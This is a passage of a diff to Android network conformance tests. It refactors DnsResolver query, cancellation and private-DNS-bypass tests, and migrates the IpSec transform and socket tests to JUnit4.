-            0x00, 0x01, /* Type */
-            0x00, 0x01  /* Class */
-        };
-        final String msg = "Test cancel RawQuery blob " + byteArrayToHexString(blob);
+    public void testRawQueryBlobCancel() throws InterruptedException {
+        final String msg = "Test cancel RawQuery blob " + byteArrayToHexString(TEST_BLOB);
         // Start a DNS query and the cancel it immediately. Use VerifyCancelCallback to expect
         // that the query is cancelled before it succeeds. If it is not cancelled before it
         // succeeds, retry the test until it is.
@@ -365,37 +421,30 @@
                 final CountDownLatch latch = new CountDownLatch(1);
                 final CancellationSignal cancelSignal = new CancellationSignal();
                 final VerifyCancelCallback callback = new VerifyCancelCallback(msg, cancelSignal);
-                mDns.rawQuery(network, blob, FLAG_EMPTY, mExecutor, cancelSignal, callback);
+                mDns.rawQuery(network, TEST_BLOB, FLAG_EMPTY, mExecutor, cancelSignal, callback);
                 mExecutor.execute(() -> {
                     cancelSignal.cancel();
                     latch.countDown();
                 });
-                try {
-                    retry = callback.needRetry();
-                    assertTrue(msg + " cancel is not done",
-                            latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-                } catch (InterruptedException e) {
-                    fail(msg + " Waiting for DNS lookup was interrupted");
-                }
+
+                retry = callback.needRetry();
+                assertTrue(msg + " cancel is not done",
+                        latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
             } while (retry);
         }
     }
 
-    public void testCancelBeforeQuery() throws ErrnoException {
-        final String dname = "www.google.com";
-        final String msg = "Test cancelled RawQuery " + dname;
+    public void testCancelBeforeQuery() throws InterruptedException {
+        final String msg = "Test cancelled RawQuery " + TEST_DOMAIN;
         for (Network network : getTestableNetworks()) {
             final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
             final CancellationSignal cancelSignal = new CancellationSignal();
             cancelSignal.cancel();
-            mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_EMPTY,
+            mDns.rawQuery(network, TEST_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_EMPTY,
                     mExecutor, cancelSignal, callback);
-            try {
-                assertTrue(msg + " should not return any answers",
-                        !callback.waitForAnswer(CANCEL_TIMEOUT_MS));
-            } catch (InterruptedException e) {
-                fail(msg + " Waiting for DNS lookup was interrupted");
-            }
+
+            assertTrue(msg + " should not return any answers",
+                    !callback.waitForAnswer(CANCEL_TIMEOUT_MS));
         }
     }
 
@@ -462,27 +511,53 @@
         }
     }
 
-    public void testQueryForInetAddress() {
-        final String dname = "www.google.com";
-        final String msg = "Test query for InetAddress " + dname;
+    public void testQueryForInetAddress() throws Exception {
+        doTestQueryForInetAddress(mExecutor);
+    }
+
+    public void testQueryForInetAddressInline() throws Exception {
+        doTestQueryForInetAddress(mExecutorInline);
+    }
+
+    public void testQueryForInetAddressIpv4() throws Exception {
+        doTestQueryForInetAddressIpv4(mExecutor);
+    }
+
+    public void testQueryForInetAddressIpv4Inline() throws Exception {
+        doTestQueryForInetAddressIpv4(mExecutorInline);
+    }
+
+    public void testQueryForInetAddressIpv6() throws Exception {
+        doTestQueryForInetAddressIpv6(mExecutor);
+    }
+
+    public void testQueryForInetAddressIpv6Inline() throws Exception {
+        doTestQueryForInetAddressIpv6(mExecutorInline);
+    }
+
+    public void testContinuousQueries() throws Exception {
+        doTestContinuousQueries(mExecutor);
+    }
+
+    public void testContinuousQueriesInline() throws Exception {
+        doTestContinuousQueries(mExecutorInline);
+    }
+
+    public void doTestQueryForInetAddress(Executor executor) throws InterruptedException {
+        final String msg = "Test query for InetAddress " + TEST_DOMAIN;
         for (Network network : getTestableNetworks()) {
             final VerifyCancelInetAddressCallback callback =
                     new VerifyCancelInetAddressCallback(msg, null);
-            mDns.query(network, dname, FLAG_NO_CACHE_LOOKUP,
-                    mExecutor, null, callback);
-            try {
-                assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                        callback.waitForAnswer());
-                assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
-            } catch (InterruptedException e) {
-                fail(msg + " Waiting for DNS lookup was interrupted");
-            }
+            mDns.query(network, TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
         }
     }
 
-    public void testQueryCancelForInetAddress() throws ErrnoException {
-        final String dname = "www.google.com";
-        final String msg = "Test cancel query for InetAddress " + dname;
+    public void testQueryCancelForInetAddress() throws InterruptedException {
+        final String msg = "Test cancel query for InetAddress " + TEST_DOMAIN;
         // Start a DNS query and the cancel it immediately. Use VerifyCancelInetAddressCallback to
         // expect that the query is cancelled before it succeeds. If it is not cancelled before it
         // succeeds, retry the test until it is.
@@ -497,56 +572,150 @@
                 final CancellationSignal cancelSignal = new CancellationSignal();
                 final VerifyCancelInetAddressCallback callback =
                         new VerifyCancelInetAddressCallback(msg, cancelSignal);
-                mDns.query(network, dname, FLAG_EMPTY, mExecutor, cancelSignal, callback);
+                mDns.query(network, TEST_DOMAIN, FLAG_EMPTY, mExecutor, cancelSignal, callback);
                 mExecutor.execute(() -> {
                     cancelSignal.cancel();
                     latch.countDown();
                 });
-                try {
-                    retry = callback.needRetry();
-                    assertTrue(msg + " query was not cancelled",
-                            latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-                } catch (InterruptedException e) {
-                    fail(msg + " Waiting for DNS lookup was interrupted");
-                }
+
+                retry = callback.needRetry();
+                assertTrue(msg + " query was not cancelled",
+                        latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
             } while (retry);
         }
     }
 
-    public void testQueryForInetAddressIpv4() {
-        final String dname = "www.google.com";
-        final String msg = "Test query for IPv4 InetAddress " + dname;
+    public void doTestQueryForInetAddressIpv4(Executor executor) throws InterruptedException {
+        final String msg = "Test query for IPv4 InetAddress " + TEST_DOMAIN;
         for (Network network : getTestableNetworks()) {
             final VerifyCancelInetAddressCallback callback =
                     new VerifyCancelInetAddressCallback(msg, null);
-            mDns.query(network, dname, TYPE_A, FLAG_NO_CACHE_LOOKUP,
-                    mExecutor, null, callback);
-            try {
-                assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
-                        callback.waitForAnswer());
-                assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
-                assertTrue(msg + " returned Ipv6 results", !callback.hasIpv6Answer());
-            } catch (InterruptedException e) {
-                fail(msg + " Waiting for DNS lookup was interrupted");
-            }
+            mDns.query(network, TEST_DOMAIN, TYPE_A, FLAG_NO_CACHE_LOOKUP,
+                    executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
+            assertTrue(msg + " returned Ipv6 results", !callback.hasIpv6Answer());
         }
     }
 
-    public void testQueryForInetAddressIpv6() {
-        final String dname = "www.google.com";
-        final String msg = "Test query for IPv6 InetAddress " + dname;
+    public void doTestQueryForInetAddressIpv6(Executor executor) throws InterruptedException {
+        final String msg = "Test query for IPv6 InetAddress " + TEST_DOMAIN;
         for (Network network : getTestableNetworks()) {
             final VerifyCancelInetAddressCallback callback =
                     new VerifyCancelInetAddressCallback(msg, null);
-            mDns.query(network, dname, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
-                    mExecutor, null, callback);
-            try {
+            mDns.query(network, TEST_DOMAIN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+                    executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
+            assertTrue(msg + " returned Ipv4 results", !callback.hasIpv4Answer());
+        }
+    }
+
+    private void awaitPrivateDnsSetting(@NonNull String msg,
+            @NonNull Network network, @NonNull String server) throws InterruptedException {
+        CountDownLatch latch = new CountDownLatch(1);
+        NetworkRequest request = new NetworkRequest.Builder().clearCapabilities().build();
+        NetworkCallback callback = new NetworkCallback() {
+            @Override
+            public void onLinkPropertiesChanged(Network n, LinkProperties lp) {
+                if (network.equals(n) && server.equals(lp.getPrivateDnsServerName())) {
+                    latch.countDown();
+                }
+            }
+        };
+        mCM.registerNetworkCallback(request, callback);
+        assertTrue(msg, latch.await(PRIVATE_DNS_SETTING_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        mCM.unregisterNetworkCallback(callback);
+    }
+
+    public void testPrivateDnsBypass() throws InterruptedException {
+        final Network[] testNetworks = getTestableNetworks();
+
+        // Set an invalid private DNS server
+        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, "hostname");
+        Settings.Global.putString(mCR,
+                Settings.Global.PRIVATE_DNS_SPECIFIER, INVALID_PRIVATE_DNS_SERVER);
+
+        final String msg = "Test PrivateDnsBypass " + TEST_DOMAIN;
+        for (Network network : testNetworks) {
+            // This test cannot be ran with null network because we need to explicitly pass a
+            // private DNS bypassable network or bind one.
+            if (network == null) continue;
+
+            // wait for private DNS setting propagating
+            awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
+                    network, INVALID_PRIVATE_DNS_SERVER);
+
+            final CountDownLatch latch = new CountDownLatch(1);
+            final DnsResolver.Callback<List<InetAddress>> errorCallback =
+                    new DnsResolver.Callback<List<InetAddress>>() {
+                        @Override
+                        public void onAnswer(@NonNull List<InetAddress> answerList, int rcode) {
+                            fail(msg + " should not get valid answer");
+                        }
+
+                        @Override
+                        public void onError(@NonNull DnsResolver.DnsException error) {
+                            assertEquals(DnsResolver.ERROR_SYSTEM, error.code);
+                            assertEquals(ETIMEDOUT, ((ErrnoException) error.getCause()).errno);
+                            latch.countDown();
+                        }
+                    };
+            // Private DNS strict mode with invalid DNS server is set
+            // Expect no valid answer returned but ErrnoException with ETIMEDOUT
+            mDns.query(network, TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, mExecutor, null, errorCallback);
+
+            assertTrue(msg + " invalid server round. No response after " + TIMEOUT_MS + "ms.",
+                    latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            final VerifyCancelInetAddressCallback callback =
+                    new VerifyCancelInetAddressCallback(msg, null);
+            // Bypass privateDns, expect query works fine
+            mDns.query(network.getPrivateDnsBypassingCopy(),
+                    TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, mExecutor, null, callback);
+
+            assertTrue(msg + " bypass private DNS round. No answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
+
+            // To ensure private DNS bypass still work even if passing null network.
+            // Bind process network with a private DNS bypassable network.
+            mCM.bindProcessToNetwork(network.getPrivateDnsBypassingCopy());
+            final VerifyCancelInetAddressCallback callbackWithNullNetwork =
+                    new VerifyCancelInetAddressCallback(msg + " with null network ", null);
+            mDns.query(null,
+                    TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, mExecutor, null, callbackWithNullNetwork);
+
+            assertTrue(msg + " with null network bypass private DNS round. No answer after " +
+                    TIMEOUT_MS + "ms.", callbackWithNullNetwork.waitForAnswer());
+            assertTrue(msg + " with null network returned 0 results",
+                    !callbackWithNullNetwork.isAnswerEmpty());
+
+            // Reset process network to default.
+            mCM.bindProcessToNetwork(null);
+        }
+    }
+
+    public void doTestContinuousQueries(Executor executor) throws InterruptedException {
+        final String msg = "Test continuous " + QUERY_TIMES + " queries " + TEST_DOMAIN;
+        for (Network network : getTestableNetworks()) {
+            for (int i = 0; i < QUERY_TIMES ; ++i) {
+                final VerifyCancelInetAddressCallback callback =
+                        new VerifyCancelInetAddressCallback(msg, null);
+                // query v6/v4 in turn
+                boolean queryV6 = (i % 2 == 0);
+                mDns.query(network, TEST_DOMAIN, queryV6 ? TYPE_AAAA : TYPE_A,
+                        FLAG_NO_CACHE_LOOKUP, executor, null, callback);
+
                 assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
                         callback.waitForAnswer());
                 assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
-                assertTrue(msg + " returned Ipv4 results", !callback.hasIpv4Answer());
-            } catch (InterruptedException e) {
-                fail(msg + " Waiting for DNS lookup was interrupted");
+                assertTrue(msg + " returned " + (queryV6 ? "Ipv4" : "Ipv6") + " results",
+                        queryV6 ? !callback.hasIpv4Answer() : !callback.hasIpv6Answer());
             }
         }
     }
diff --git a/tests/tests/net/src/android/net/cts/IpSecBaseTest.java b/tests/tests/net/src/android/net/cts/IpSecBaseTest.java
index 35d0f48..10e43e7 100644
--- a/tests/tests/net/src/android/net/cts/IpSecBaseTest.java
+++ b/tests/tests/net/src/android/net/cts/IpSecBaseTest.java
@@ -23,16 +23,18 @@
 import android.net.IpSecAlgorithm;
 import android.net.IpSecManager;
 import android.net.IpSecTransform;
+import android.platform.test.annotations.AppModeFull;
 import android.system.Os;
 import android.system.OsConstants;
-import android.test.AndroidTestCase;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import java.io.FileDescriptor;
 import java.io.IOException;
 import java.net.DatagramPacket;
 import java.net.DatagramSocket;
-import java.net.Inet4Address;
 import java.net.Inet6Address;
 import java.net.InetAddress;
 import java.net.InetSocketAddress;
@@ -42,7 +44,12 @@
 import java.util.Arrays;
 import java.util.concurrent.atomic.AtomicInteger;
 
-public class IpSecBaseTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class IpSecBaseTest {
 
     private static final String TAG = IpSecBaseTest.class.getSimpleName();
 
@@ -70,10 +77,16 @@
     protected ConnectivityManager mCM;
     protected IpSecManager mISM;
 
-    protected void setUp() throws Exception {
-        super.setUp();
-        mISM = (IpSecManager) getContext().getSystemService(Context.IPSEC_SERVICE);
-        mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+    @Before
+    public void setUp() throws Exception {
+        mISM =
+                (IpSecManager)
+                        InstrumentationRegistry.getContext()
+                                .getSystemService(Context.IPSEC_SERVICE);
+        mCM =
+                (ConnectivityManager)
+                        InstrumentationRegistry.getContext()
+                                .getSystemService(Context.CONNECTIVITY_SERVICE);
     }
 
     protected static byte[] getKey(int bitLength) {
@@ -195,6 +208,17 @@
     public static class JavaUdpSocket implements GenericUdpSocket {
         public final DatagramSocket mSocket;
 
+        public JavaUdpSocket(InetAddress localAddr, int port) {
+            try {
+                mSocket = new DatagramSocket(port, localAddr);
+                mSocket.setSoTimeout(SOCK_TIMEOUT);
+            } catch (SocketException e) {
+                // Fail loudly if we can't set up sockets properly. And without the timeout, we
+                // could easily end up in an endless wait.
+                throw new RuntimeException(e);
+            }
+        }
+
         public JavaUdpSocket(InetAddress localAddr) {
             try {
                 mSocket = new DatagramSocket(0, localAddr);
@@ -425,35 +449,36 @@
     }
 
     protected static IpSecTransform buildIpSecTransform(
-            Context mContext,
+            Context context,
             IpSecManager.SecurityParameterIndex spi,
             IpSecManager.UdpEncapsulationSocket encapSocket,
             InetAddress remoteAddr)
             throws Exception {
-        String localAddr = (remoteAddr instanceof Inet4Address) ? IPV4_LOOPBACK : IPV6_LOOPBACK;
         IpSecTransform.Builder builder =
-                new IpSecTransform.Builder(mContext)
-                .setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
-                .setAuthentication(
-                        new IpSecAlgorithm(
-                                IpSecAlgorithm.AUTH_HMAC_SHA256,
-                                AUTH_KEY,
-                                AUTH_KEY.length * 4));
+                new IpSecTransform.Builder(context)
+                        .setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
+                        .setAuthentication(
+                                new IpSecAlgorithm(
+                                        IpSecAlgorithm.AUTH_HMAC_SHA256,
+                                        AUTH_KEY,
+                                        AUTH_KEY.length * 4));
 
         if (encapSocket != null) {
             builder.setIpv4Encapsulation(encapSocket, encapSocket.getPort());
         }
 
-        return builder.buildTransportModeTransform(InetAddress.getByName(localAddr), spi);
+        return builder.buildTransportModeTransform(remoteAddr, spi);
     }
 
     private IpSecTransform buildDefaultTransform(InetAddress localAddr) throws Exception {
         try (IpSecManager.SecurityParameterIndex spi =
                 mISM.allocateSecurityParameterIndex(localAddr)) {
-            return buildIpSecTransform(mContext, spi, null, localAddr);
+            return buildIpSecTransform(InstrumentationRegistry.getContext(), spi, null, localAddr);
         }
     }
 
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testJavaTcpSocketPair() throws Exception {
         for (String addr : LOOPBACK_ADDRS) {
             InetAddress local = InetAddress.getByName(addr);
@@ -464,6 +489,8 @@
         }
     }
 
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testJavaUdpSocketPair() throws Exception {
         for (String addr : LOOPBACK_ADDRS) {
             InetAddress local = InetAddress.getByName(addr);
@@ -475,6 +502,8 @@
         }
     }
 
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testJavaUdpSocketPairUnconnected() throws Exception {
         for (String addr : LOOPBACK_ADDRS) {
             InetAddress local = InetAddress.getByName(addr);
@@ -486,6 +515,8 @@
         }
     }
 
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testNativeTcpSocketPair() throws Exception {
         for (String addr : LOOPBACK_ADDRS) {
             InetAddress local = InetAddress.getByName(addr);
@@ -497,6 +528,8 @@
         }
     }
 
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testNativeUdpSocketPair() throws Exception {
         for (String addr : LOOPBACK_ADDRS) {
             InetAddress local = InetAddress.getByName(addr);
@@ -508,6 +541,8 @@
         }
     }
 
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testNativeUdpSocketPairUnconnected() throws Exception {
         for (String addr : LOOPBACK_ADDRS) {
             InetAddress local = InetAddress.getByName(addr);
diff --git a/tests/tests/net/src/android/net/cts/IpSecManagerTest.java b/tests/tests/net/src/android/net/cts/IpSecManagerTest.java
index 3387064..355b496 100644
--- a/tests/tests/net/src/android/net/cts/IpSecManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/IpSecManagerTest.java
@@ -16,19 +16,34 @@
 
 package android.net.cts;
 
+import static android.net.cts.PacketUtils.AES_CBC_BLK_SIZE;
+import static android.net.cts.PacketUtils.AES_CBC_IV_LEN;
+import static android.net.cts.PacketUtils.AES_GCM_BLK_SIZE;
+import static android.net.cts.PacketUtils.AES_GCM_IV_LEN;
+import static android.net.cts.PacketUtils.IP4_HDRLEN;
+import static android.net.cts.PacketUtils.IP6_HDRLEN;
+import static android.net.cts.PacketUtils.TCP_HDRLEN_WITH_TIMESTAMP_OPT;
+import static android.net.cts.PacketUtils.UDP_HDRLEN;
 import static android.system.OsConstants.IPPROTO_TCP;
 import static android.system.OsConstants.IPPROTO_UDP;
+
 import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.net.IpSecAlgorithm;
 import android.net.IpSecManager;
 import android.net.IpSecTransform;
 import android.net.TrafficStats;
+import android.platform.test.annotations.AppModeFull;
 import android.system.ErrnoException;
 import android.system.Os;
 import android.system.OsConstants;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import java.io.FileDescriptor;
 import java.io.IOException;
 import java.net.DatagramPacket;
@@ -37,6 +52,12 @@
 import java.net.InetAddress;
 import java.util.Arrays;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Socket cannot bind in instant app mode")
 public class IpSecManagerTest extends IpSecBaseTest {
 
     private static final String TAG = IpSecManagerTest.class.getSimpleName();
@@ -53,27 +74,13 @@
 
     private static final byte[] AEAD_KEY = getKey(288);
 
-    private static final int TCP_HDRLEN_WITH_OPTIONS = 32;
-    private static final int UDP_HDRLEN = 8;
-    private static final int IP4_HDRLEN = 20;
-    private static final int IP6_HDRLEN = 40;
-
-    // Encryption parameters
-    private static final int AES_GCM_IV_LEN = 8;
-    private static final int AES_CBC_IV_LEN = 16;
-    private static final int AES_GCM_BLK_SIZE = 4;
-    private static final int AES_CBC_BLK_SIZE = 16;
-
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
     /*
      * Allocate a random SPI
      * Allocate a specific SPI using previous randomly created SPI value
      * Realloc the same SPI that was specifically created (expect SpiUnavailable)
      * Close SPIs
      */
+    @Test
     public void testAllocSpi() throws Exception {
         for (InetAddress addr : GOOGLE_DNS_LIST) {
             IpSecManager.SecurityParameterIndex randomSpi = null, droidSpi = null;
@@ -225,13 +232,14 @@
      * release transform
      * send data (expect exception)
      */
+    @Test
     public void testCreateTransform() throws Exception {
         InetAddress localAddr = InetAddress.getByName(IPV4_LOOPBACK);
         IpSecManager.SecurityParameterIndex spi =
                 mISM.allocateSecurityParameterIndex(localAddr);
 
         IpSecTransform transform =
-                new IpSecTransform.Builder(mContext)
+                new IpSecTransform.Builder(InstrumentationRegistry.getContext())
                         .setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
                         .setAuthentication(
                                 new IpSecAlgorithm(
@@ -432,19 +440,6 @@
         }
     }
 
-    /** Helper function to calculate expected ESP packet size. */
-    private int calculateEspPacketSize(
-            int payloadLen, int cryptIvLength, int cryptBlockSize, int authTruncLen) {
-        final int ESP_HDRLEN = 4 + 4; // SPI + Seq#
-        final int ICV_LEN = authTruncLen / 8; // Auth trailer; based on truncation length
-        payloadLen += cryptIvLength; // Initialization Vector
-        payloadLen += 2; // ESP trailer
-
-        // Align to block size of encryption algorithm
-        payloadLen += (cryptBlockSize - (payloadLen % cryptBlockSize)) % cryptBlockSize;
-        return payloadLen + ESP_HDRLEN + ICV_LEN;
-    }
-
     public void checkTransform(
             int protocol,
             String localAddress,
@@ -462,7 +457,8 @@
                 IpSecManager.SecurityParameterIndex spi =
                         mISM.allocateSecurityParameterIndex(local)) {
 
-            IpSecTransform.Builder transformBuilder = new IpSecTransform.Builder(mContext);
+            IpSecTransform.Builder transformBuilder =
+                    new IpSecTransform.Builder(InstrumentationRegistry.getContext());
             if (crypt != null) {
                 transformBuilder.setEncryption(crypt);
             }
@@ -485,7 +481,7 @@
             try (IpSecTransform transform =
                         transformBuilder.buildTransportModeTransform(local, spi)) {
                 if (protocol == IPPROTO_TCP) {
-                    transportHdrLen = TCP_HDRLEN_WITH_OPTIONS;
+                    transportHdrLen = TCP_HDRLEN_WITH_TIMESTAMP_OPT;
                     checkTcp(transform, local, sendCount, useJavaSockets);
                 } else if (protocol == IPPROTO_UDP) {
                     transportHdrLen = UDP_HDRLEN;
@@ -522,7 +518,7 @@
 
         int innerPacketSize = TEST_DATA.length + transportHdrLen + ipHdrLen;
         int outerPacketSize =
-                calculateEspPacketSize(
+                PacketUtils.calculateEspPacketSize(
                                 TEST_DATA.length + transportHdrLen, ivLen, blkSize, truncLenBits)
                         + udpEncapLen
                         + ipHdrLen;
@@ -540,13 +536,13 @@
         // Add TCP ACKs for data packets
         if (protocol == IPPROTO_TCP) {
             int encryptedTcpPktSize =
-                    calculateEspPacketSize(TCP_HDRLEN_WITH_OPTIONS, ivLen, blkSize, truncLenBits);
+                    PacketUtils.calculateEspPacketSize(
+                            TCP_HDRLEN_WITH_TIMESTAMP_OPT, ivLen, blkSize, truncLenBits);
 
-
-                // Add data packet ACKs
-                expectedOuterBytes += (encryptedTcpPktSize + udpEncapLen + ipHdrLen) * (sendCount);
-                expectedInnerBytes += (TCP_HDRLEN_WITH_OPTIONS + ipHdrLen) * (sendCount);
-                expectedPackets += sendCount;
+            // Add data packet ACKs
+            expectedOuterBytes += (encryptedTcpPktSize + udpEncapLen + ipHdrLen) * (sendCount);
+            expectedInnerBytes += (TCP_HDRLEN_WITH_TIMESTAMP_OPT + ipHdrLen) * (sendCount);
+            expectedPackets += sendCount;
         }
 
         StatsChecker.waitForNumPackets(expectedPackets);
@@ -607,6 +603,7 @@
         }
     }
 
+    @Test
     public void testIkeOverUdpEncapSocket() throws Exception {
         // IPv6 not supported for UDP-encap-ESP
         InetAddress local = InetAddress.getByName(IPV4_LOOPBACK);
@@ -622,7 +619,7 @@
             try (IpSecManager.SecurityParameterIndex spi =
                             mISM.allocateSecurityParameterIndex(local);
                     IpSecTransform transform =
-                            new IpSecTransform.Builder(mContext)
+                            new IpSecTransform.Builder(InstrumentationRegistry.getContext())
                                     .setEncryption(crypt)
                                     .setAuthentication(auth)
                                     .setIpv4Encapsulation(encapSocket, encapSocket.getPort())
@@ -665,24 +662,28 @@
     //     checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, true, 1000);
     // }
 
+    @Test
     public void testInterfaceCountersUdp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1000, false);
     }
 
+    @Test
     public void testInterfaceCountersUdp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1000, false);
     }
 
+    @Test
     public void testInterfaceCountersUdp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1000, false);
     }
 
+    @Test
     public void testAesCbcHmacMd5Tcp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -690,6 +691,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacMd5Tcp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -697,6 +699,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacMd5Udp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -704,6 +707,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacMd5Udp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -711,6 +715,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha1Tcp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -718,6 +723,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha1Tcp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -725,6 +731,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha1Udp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -732,6 +739,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha1Udp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -739,6 +747,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
